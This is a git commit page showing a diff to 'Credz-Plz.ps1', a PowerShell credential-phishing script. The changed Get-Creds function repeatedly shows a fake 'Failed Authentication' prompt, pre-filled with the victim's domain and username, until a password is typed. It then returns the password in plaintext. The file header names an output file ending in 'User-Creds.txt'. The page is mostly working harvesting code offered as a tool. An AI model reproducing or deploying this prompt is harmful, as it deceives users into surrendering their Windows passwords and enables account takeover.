Update Credz-Plz.ps1
This commit is contained in:
parent
694e8166c6
commit
eb4f08e897
1 changed files with 18 additions and 11 deletions
|
@ -52,18 +52,25 @@ $FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt"
|
||||||
#>
|
#>
|
||||||
|
|
||||||
function Get-Creds {
|
function Get-Creds {
|
||||||
do{
|
|
||||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
|
||||||
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password)) {
|
|
||||||
[System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
|
|
||||||
Get-Creds
|
|
||||||
}
|
|
||||||
$creds = $cred.GetNetworkCredential() | fl
|
|
||||||
return $creds
|
|
||||||
# ...
|
|
||||||
|
|
||||||
$done = $true
|
$form = $null
|
||||||
} until ($done)
|
|
||||||
|
while ($form -eq $null)
|
||||||
|
{
|
||||||
|
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName);
|
||||||
|
$cred.getnetworkcredential().password
|
||||||
|
|
||||||
|
if([string]::IsNullOrWhiteSpace([Net.NetworkCredential]::new('', $cred.Password).Password))
|
||||||
|
{
|
||||||
|
[System.Windows.Forms.MessageBox]::Show("Credentials can not be empty!")
|
||||||
|
$form = $null
|
||||||
|
}
|
||||||
|
|
||||||
|
else{
|
||||||
|
$creds = $cred.GetNetworkCredential() | fl
|
||||||
|
return $creds
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue